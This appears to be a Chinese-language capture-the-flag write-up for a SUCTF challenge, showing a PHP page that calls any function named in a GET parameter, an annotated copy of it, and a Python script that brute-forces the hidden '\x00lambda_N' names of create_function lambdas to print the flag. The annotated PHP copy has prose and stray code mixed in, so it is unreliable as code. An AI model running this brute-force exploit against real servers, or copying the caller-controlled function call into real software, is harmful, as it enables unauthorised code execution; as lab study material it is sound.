<?php
$MY = create_function("","die(`cat flag.php`);");
$hash = bin2hex(openssl_random_pseudo_bytes(32));
eval("function SUCTF_$hash(){"
."global \$MY;"
."\$MY();"
."}");
if(isset($_GET['func_name'])){
$_GET["func_name"]();
die();
}
show_source(__FILE__);
<?php
$MY = create_function("","die(`cat flag.php`);");
//创建一个$MY的匿名函数,函数的作用是输出flag
//匿名函数其实是有真正的名字,为%00lambda_%d(%d格式化为当前进程的第n个匿名函数,n的范围0-999)
$hash = (openssl_random_pseudo_bytes(32));
//生成一个随机数
eval("function SUCTF_$hash(){"
."global \$MY;"."\$MY();".
"}");
//创建$hash会在eval函数中。与SUCTF拼接。形成一个新的函数名
要想拿到flag就只有调用SUCTF_XXXX随机数的函数名。或者直接调用$MY
if(isset($_GET['func_name'])){
$_GET["func_name"]();
bin2hex die();
// bin2hex()函数把ASCII字符的字符串转换为十六进制值
}
show_source(__FILE__);
create_function的匿名函数也是有名字的,名字是\x00lambda_%d,其中%d代表他是当前进程中的第几个匿名函数
所以直接爆破就好
exp
import requests
url = "http://e405e298-ac8d-4f70-9202-bea09304a052.node5.buuoj.cn:81/"
# 创建一个 Session 对象以保持持久连接
session = requests.Session()
for i in range(1000):
try:
# 构造请求的参数
params = {'func_name': '\x00lambda_%d' % i}
# 发送请求
r = session.get(url, params=params)
# 检查响应中是否包含 'flag' 字符串
if 'flag' in r.text:
print(r.text)
break
except requests.RequestException as e:
# 处理请求异常
print("Request failed:", e)
# 减少输出频率,每50次输出一次提示信息
if i % 50 == 0:
print("Testing lambda_%d..." % i)